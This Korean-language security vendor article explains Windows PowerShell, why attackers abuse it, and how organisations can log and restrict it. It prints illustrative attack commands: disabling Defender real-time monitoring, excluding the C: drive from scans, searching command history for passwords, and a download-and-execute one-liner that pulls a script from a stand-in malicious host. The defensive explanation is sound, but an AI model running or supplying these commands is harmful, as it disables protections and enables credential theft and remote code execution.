
Windows PowerShell이란?
Windows PowerShell은 강력한 자동화 도구입니다. 보안에 미치는 영향과 환경에서 안전하게 사용하는 방법을 알아보세요.

Windows PowerShell은 작업 자동화와 구성 관리에 쓰이는 강력한 스크립팅 언어이자 명령줄 셸입니다. 이 가이드에서는 시스템 관리와 보안에서의 역할을 포함해 PowerShell의 기능과 역량을 살펴봅니다.
주요 PowerShell 명령어, 스크립팅 모범 사례, 사이버 보안에 PowerShell을 활용하는 방법을 알아보세요. IT 전문가와 보안 실무자에게 PowerShell에 대한 이해는 필수입니다.

PowerShell은 기업의 중요 자산에 어떤 영향을 미칠까요? PowerShell의 기본 개념, 해커들이 주목하는 이유 & 기업을 보호하는 방법을 알아보세요
Microsoft PowerShell은 작업을 자동화하고 Windows 기반 시스템을 관리하는 명령줄 셸이자 스크립팅 언어입니다. 관리자와 보안 전문가는 이를 통해 반복 작업을 자동화하고, 시스템을 관리·모니터링하며, 보안 사고 대응을 자동화합니다. 공격자도 PowerShell을 이용해 시스템에 무단으로 접근하고 악성 코드를 실행하는 경우가 많습니다.
Microsoft PowerShell은 2006년부터 Windows에서 사용할 수 있었으며, 현재는 Windows 10 파일 탐색기의 명령 셸로 쓰이고 기존 cmd.exe 도구를 대부분 대체했습니다. 일반 사용자에게는 낯설고 어려운 도구로 여겨지기도 하지만, PowerShell은 유연성과 강력한 기능 덕분에 IT 팀과 네트워크 관리자에게 필수 도구가 되었습니다. 이 입문 가이드에서는 PowerShell의 기본 개념, 해커와 맬웨어 제작자들이 주목하는 이유, 조직을 보호하는 방법을 설명합니다.
필요에 맞는 버전 선택
Cortana 검색창에 ‘PowerShell’을 입력하면 PowerShell ISE와 PowerShell 데스크톱 앱이 표시됩니다. 시작 메뉴나 두 PowerShell 버전 중 하나의 작업 표시줄 아이콘을 마우스 오른쪽 버튼으로 클릭하면, 현재 사용자 또는 관리자 권한으로 각 버전을 실행하는 두 가지 방법도 확인할 수 있습니다.

반복 작업을 자동화하려는 관리자는 주로 ISE 인터페이스에서 PowerShell 모듈과 스크립트를 개발합니다. 대화형 작업에는 대개 PowerShell 데스크톱 앱을 선택하고, 작업에 따라 관리자 또는 현재 사용자 권한으로 실행합니다.
다음과 같은 PowerShell Core에 대해서도 들어보셨을 것입니다. Windows뿐 아니라 Linux와 macOS에서도 실행되는 크로스 플랫폼 오픈 소스 버전입니다:

다만 서명되지 않은 바이너리로 설치되므로 주의해야 합니다. 악성 바이너리로 쉽게 바뀔 수 있습니다. PowerShell Core를 사용하는 엔드포인트가 있다면 적절한 인증서로 서명하거나 정기적으로 shasum 검사를 수행해 변조 여부를 확인하세요.
PowerShell 버전마다 기능에는 차이가 있지만, 모두 SSH를 통한 원격 세션을 실행하고 다양한 프로세스 및 서비스와 상호작용할 수 있습니다. PowerShell은 Windows 레지스트리와 이벤트 로그에도 접근할 수 있습니다. 이는 PowerShell에 접근한 공격자도 동일한 기능을 이용할 수 있다는 뜻입니다.
PowerShell의 강력한 기능 활용
간단한 두 명령어만으로도 PowerShell의 기능을 확인할 수 있습니다:
Get-Module -ListAvailable
로 사용 가능한 모듈을 나열하고,
Get-Command
로 사용 가능한 명령어를 나열합니다:

몇 가지 예를 간단히 살펴보겠습니다. 사용자나 공격자가 문서 디렉터리를 탐색하면서 관심 있는 파일이 있는지 빠르게 확인하려는 상황을 가정해 보겠습니다. 다음 명령어는 하위 디렉터리를 재귀적으로 탐색하며 숨김 파일을 포함한 모든 텍스트 파일의 처음 두 줄과 마지막 두 줄을 출력합니다. 출력 결과는 나중에 검토하거나 가져올 수 있도록 다른 텍스트 파일에 저장합니다:
Get-ChildItem -Force -R .*.txt | ForEach-Object {Get-Content $_ -TotalCount 2; Get-Content $_ -Tail 2} *>> o.log
누군가 “Confidential”로 시작하거나 “Chief Financial Officer”처럼 작성자의 직책으로 끝나는 문서를 찾는다면, 관심 있는 항목을 빠르고 간편하게 추려내는 방법이 될 수 있습니다.
침입 흔적을 지우기 위해 항목을 삭제하려면 다음 명령어만 실행하면 됩니다
Remove-Item <path>
PowerShell로 운영 체제를 조작하는 방법은 다양하며, 안타깝게도 위험할 수 있습니다. 맬웨어 제작자가 기본 설치된 Microsoft Defender AV 엔진을 우회하려 한다면, 적절한 권한으로 PowerShell 명령어를 실행해 이를 비활성화할 수 있습니다:
Set-MpPreference -DisableRealTimeMonitoring $true
또는 좀 더 은밀하게 특정 드라이브나 경로를 검사 대상에서 제외할 수도 있습니다:
Add-MpPreference -ExclusionPath “c:”
PowerShell을 사용하면 공격자가 네트워크 드라이브를 나열하거나 이벤트 로그를 조회하기도 쉽습니다. 각각 Get-PSDrive와 Get-EventLog를 사용하며, 악용할 수 있는 정보를 찾는 데 유용합니다.

사용자와 악의적인 행위자 모두에게 유용한 기능 중 하나는 명령줄에 직접 입력한 명령어 기록을 전달된 인수까지 읽을 수 있다는 점입니다. 기록은 다음 명령어로 출력되는 경로에 저장됩니다:
(Get-PSReadLineOption).HistorySavePath
cat과 Select-String cmdlet(또는 별칭 sls)을 사용하면 명령어에서 관심 있는 항목을 효과적으로 “grep”하거나 검색할 수 있습니다(예를 들어 비밀번호!):

스크립트 & 익스플로잇 키트
하지만 명령줄에서 PowerShell을 사용하는 것보다 악의적인 행위자에게 더 유리한 방법이 있습니다. 더 위험한 것은 메모리 내에서(일명 “파일리스” 맬웨어 공격) 또는 디스크에서 스크립트를 실행하는 PowerShell의 기능입니다. 두 방식 모두 호스트에서 직접 또는 원격으로 실행할 수 있습니다.
Unix 셸의 eval 명령어처럼 PowerShell에는 Invoke-Expression(별칭 iex)이 있어 악성 스크립트를 다운로드하고 메모리에서 실행할 수 있습니다. Bypass를 추가하면 제한적인 실행 정책을 우회할 수 있습니다:
powershell -ep Bypass —nop -c "iex(New-Object Net.WebClient).DownloadString('http://malicious.scripts.com/mlwr.ps1')"
예상대로 PowerShell의 기능을 최대한 활용하는 익스플로잇 프레임워크가 등장하기까지는 오래 걸리지 않았습니다.
그중 첫 번째는 PowerSploit, 피해자의 컴퓨터를 조작하고 제어할 수 있는 PowerShell 스크립트 모음입니다.

PowerShell Empire 는 PowerSploit 및 여러 프로젝트의 성과를 바탕으로 개발된 침해 후 활동 도구입니다. 네트워크 탐지를 회피하고 키로거를 실행하며 Mimikatz 같은 모듈을 실행해 메모리에서 평문 비밀번호, 비밀번호 해시 및 기타 데이터를 직접 추출할 수 있습니다.

PowerShell 공격의 증가
PowerShell 기반 악성코드가 최근 몇 년간 증가한 이유 중 하나는 다른 유형의 Windows 파일, .exe, .bat, .wsf, 그리고 .LNK에서 실행할 수 있는 PowerShell 스크립트와 명령이 만들어졌기 때문입니다. 한 추산에 따르면 PowerShell 익스플로잇은 악성코드 사고의 약 40%를 차지합니다. 공격자들이 랜섬웨어부터 자격 증명 탈취와 뱅킹 트로이 목마에 이르기까지 다양한 캠페인에 PowerShell을 사용한다는 것은 분명합니다. PowerShell은 클릭 사기, 비밀번호 스니핑 및 데이터 유출에도 연루되었습니다.
DNSMessenger 는 Word 문서 매크로를 통해 확산되는 것으로 확인된 악성코드입니다. VBA 소스 코드를 교묘하게 사용해 인코딩된 PowerShell 명령을 전달하고, 지속성을 확보하며, 페이로드를 전송하고 C&C 서버와 통신합니다.
놀랍게도 일부 PowerShell 공격에는 내장된 PowerShell.exe조차 필요하지 않습니다. PowerShdll 및 InsecurePowerShell 같은 도구는 PowerShell 바이너리의 기반이 되는 System.Management.Automation.dll을 활용해 스크립트를 직접 실행합니다. 즉, PowerShell 실행 파일은 동적 링크 라이브러리의 실제 코드를 위한 호스트 또는 래퍼에 불과합니다. 공격자는 이를 이용해 사실상 모든 프로세스에서 PowerShell 스크립트와 명령을 실행할 수 있습니다.
PowerShell을 창의적으로 활용하는 또 다른 방법으로는 PNG 파일의 픽셀에 PowerShell 스크립트를 삽입하고 Invoke-PSImage, 이를 실행하는 한 줄 명령을 생성하는 방법과 PS2EXE 같은 도구로 PowerShell 스크립트를 EXE 파일로 변환하는 방법이 있습니다.
PowerShell 관리
이처럼 PowerShell.exe를 차단하는 것만으로는 효과가 없다는 점이 분명합니다. PowerShell 기능에 의존하는 시스템 관리자에게 큰 부담이 되기도 합니다. PowerShell과 그 기반이 되는 DLL은 Windows 운영 체제의 필수 구성 요소입니다. PowerShell Core의 등장으로 기업에 필수적일 수 있는 크로스 플랫폼 관리에도 그 기능을 활용할 수 있게 되었습니다.
PowerShell의 양면성에 대응하는 효과적인 엔터프라이즈 방안은 SentinelOne처럼 엔드포인트에서 실행되는 프로세스의 동작을 분석하는 것입니다. 악성코드 공격 방식이 달라도 프로세스는 유사하게 동작하므로 효과적입니다. SentinelOne 에이전트는 에이전트의 모든 활동을 모니터링해 악성 활동과 정상 활동을 구분합니다. 에이전트는 이미 사용자, 프로세스, 명령줄 인수, 레지스트리, 디스크의 파일, 외부 통신에 관한 전체 맥락을 파악하고 있습니다. 따라서 출처에 관계없이 악성 활동에 대응할 수 있습니다.
이 글이 마음에 드셨나요? LinkedIn, Twitter, YouTube 또는 Facebook에서 팔로우하고 새로운 콘텐츠를 확인하세요.
Windows 보안에 대해 더 알아보기
- Hancitor 뱅킹 트로이 목마의 귀환 | 악성 Word 첨부 파일 활용
- SentinelOne, 새로운 Powershell CryptoWorm 변종 탐지 및 차단
- 악성 애플리케이션 실행에 악용될 수 있는 새로운 Windows 10 파일 형식

AI 기반 사이버 보안
실시간 감지, 머신 속도 대응, 전체 디지털 환경에 대한 종합적인 가시성을 통해 보안 태세를 강화하세요.
Windows PowerShell FAQ
Windows PowerShell은 .NET Framework를 기반으로 구축된 Microsoft의 명령줄 셸이자 스크립팅 언어입니다. 동사-명사 형식의 간단한 명령인 cmdlet을 사용해 파일 시스템, 레지스트리, 서비스 관리 등의 작업을 자동화합니다.
PowerShell은 일반 텍스트 대신 객체를 처리하고 반환하므로 구조화된 데이터를 한 cmdlet에서 다음 cmdlet으로 파이프할 수 있습니다. 시스템 관리를 위한 원격 실행, 모듈, 콘솔 내 도움말도 지원합니다.
기존 CMD와 달리 PowerShell은 동사-명사 형식의 cmdlet을 사용하며, 텍스트 스트림 대신 .NET 객체를 처리합니다. 따라서 텍스트를 파싱하지 않고도 파이프라인으로 명령을 연결할 수 있습니다. PowerShell 스크립트는 .NET API를 직접 호출할 수 있으며, 더 풍부한 오류 처리와 모듈을 지원합니다.
기존 셸은 일반 텍스트와 기본 배치 스크립트만 처리하지만, PowerShell은 자동화와 구성을 위한 완전한 스크립팅 환경을 제공합니다.
PowerShell은 시스템과 긴밀하게 통합되고 강력한 스크립팅 기능을 갖춰 관리자와 공격자 모두 자주 사용합니다. 위협 행위자는 탐지를 피하기 위해 메모리에서 스크립트를 실행하는 파일리스 기법을 사용합니다.
PowerShell은 디스크에 파일을 기록하지 않고도 방어 기능을 비활성화하거나, 악성코드를 다운로드하거나, 자격 증명을 탈취할 수 있습니다. Windows에서 널리 사용되는 만큼 보안 팀은 PowerShell 활동을 고위험으로 취급하고 악용 여부를 면밀히 모니터링해야 합니다.
Cisco 연구에 따르면 엔드포인트에서 발생한 심각한 보안 위협의 3분의 1 이상에 PowerShell이 연관되었습니다. Carbon Black은 사고의 38%에서 PowerShell 악용이 확인되었으며, 주로 횡적 이동이나 자격 증명 탈취 같은 침해 후 활동에 사용되었다고 보고했습니다.
정상적인 사용은 적지만, 확인된 악성 활동 약 14건 중 1건에서 PowerShell이 등장합니다.
모듈 로깅, 스크립트 블록 로깅, 세션 기록 등 모든 PowerShell 로깅을 활성화하세요. 로그 크기를 최소 150 MB로 설정하고 다음에서 이벤트를 수집하세요.
Microsoft-Windows-PowerShell/Operational 및 PowerShellCore/Operational에서 수집한 로그를 SIEM 또는 XDR로 전송하세요. 신뢰할 수 없는 상위 프로세스에서 실행되는 스크립트를 차단하고, 서명된 스크립트만 실행되도록 실행 정책을 제한하세요. 더 자세한 기록을 위해 Protected Event Logging을 활성화하세요.
Just Enough Administration (JEA)을 사용해 사용자 액세스를 승인된 cmdlet로 제한하세요. 제한된 언어 모드를 적용해 COM, WMI, 복잡한 표현식을 비활성화하세요. Application Control 정책(예: WDAC)을 배포해 서명된 스크립트만 허용하세요.
PowerShell을 v5.1 이상으로 유지하세요. 모든 스크립트 실행이 기록되도록 로깅 설정을 정기적으로 검토하고 조정하세요.
PowerShell을 완전히 차단하면 시스템 관리와 원격 관리에 지장이 생길 수 있습니다. Microsoft는 완전한 제거를 권장하지 않습니다. 대신 권한이 있는 관리자만 실행하도록 제한하고, 애플리케이션 제어를 적용하며, Office 앱처럼 신뢰할 수 없는 상위 프로세스에서 PowerShell이 실행되지 않도록 제한하세요.
이러한 제어를 로깅 및 모니터링과 결합하면 정상적인 운영에 지장을 주지 않으면서 대부분의 악의적인 사용을 차단할 수 있습니다.
PowerShell을 사용하면 사고 대응을 자동화하고, 포렌식 데이터를 신속하게 수집하며, 위협 헌팅을 수행할 수 있습니다. 스크립트를 작성해 레지스트리 아티팩트, 프로세스 목록, 네트워크 연결 정보를 몇 분 만에 수집할 수 있습니다. 또한 침해 후 활동에 쓰이는 많은 도구(Empire, Cobalt Strike)가 내부적으로 PowerShell을 사용하므로 공격자 기법을 이해하는 데도 유용합니다.
PowerShell 스크립트는 초기 분석을 위해 실행 중인 시스템의 메모리, 레지스트리 실행 키, 이벤트 로그, 네트워크 데이터를 수집할 수 있습니다. DFIR-Script 같은 커뮤니티 도구는 엔드포인트 전반의 증거 수집을 자동화합니다. 위협 헌팅 담당자는 PowerShell로 Windows Event ID 4104를 조회해 악성 스크립트 블록을 찾고, 출력을 파싱한 뒤 결과를 SOAR 플레이북에 전달합니다. 이처럼 PowerShell은 탐지, 격리, 복구 워크플로의 핵심 요소입니다.




